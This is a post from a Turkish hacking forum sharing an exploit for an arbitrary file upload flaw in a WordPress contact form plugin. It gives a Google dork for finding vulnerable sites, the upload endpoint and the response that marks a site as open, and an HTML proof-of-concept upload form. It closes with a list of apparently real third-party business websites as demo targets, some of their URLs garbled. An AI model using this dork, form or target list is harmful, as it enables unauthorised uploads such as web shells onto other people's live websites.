Hoşgeldin Misafir

WordPress Plugins console contact form - Arbitrary File Upload

NasyoneL

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
-# Exploit Title: WordPress Plugins console contact form - Arbitrary File Upload--

-# Google Dork: inurl:wp-content/plugins/console_contact_form/--
-# Date:2017-06-06--
-# Exploit Author: sohaip-hackerDZ--
-# Tested on:linux mint--

-# 1. search dork for google--
-# 2. Exploit the websites--
-# ---https://localhost//wp-content/plugins/console_contact_form/upload_file.php?files--
-# [+] if MSG :--
-# {"files":[]}--

-# 4. PoC :--
-=====================================================================================--
-[font=Lato, sans-serif]HTML:--
-<form method="POST" action="hhtp://127.0.0.1/wp-content/plugins/console_contact_form/upload_file.php?files" enctype="multipart/form-data">
<input type="file" name="files[]" />
<button>Upload!</button><br/>
</form>
----
-====================================================================================================--
-[+] dimo :--
-================================================================--
-https://www.fxwebstudio.com.au/wp-content/plugins/console_contact_form/upload_file.php?files--
-https://www.tuza.com.au/wp-content/plugins/console_contact_form/upload_file.php?files--
-http://www.physioandbeyond.com.au/wp-content/plugins/console_contact_form/upload_file.php?files--
-http://www.theplumbingeffect.com.au/wp-content/plugins/console_contact_form/upload_file.php?files--
-hhtp://---www.cld9.ph/wp-content/plugins/console_contact_form/upload_file.php?files--
-http://https://www.hellolocalmedia....ns/console_contact_form/upload_file.php?files--
 
Cevap yazmak için giriş yap yada kayıt ol.
Geri
Üst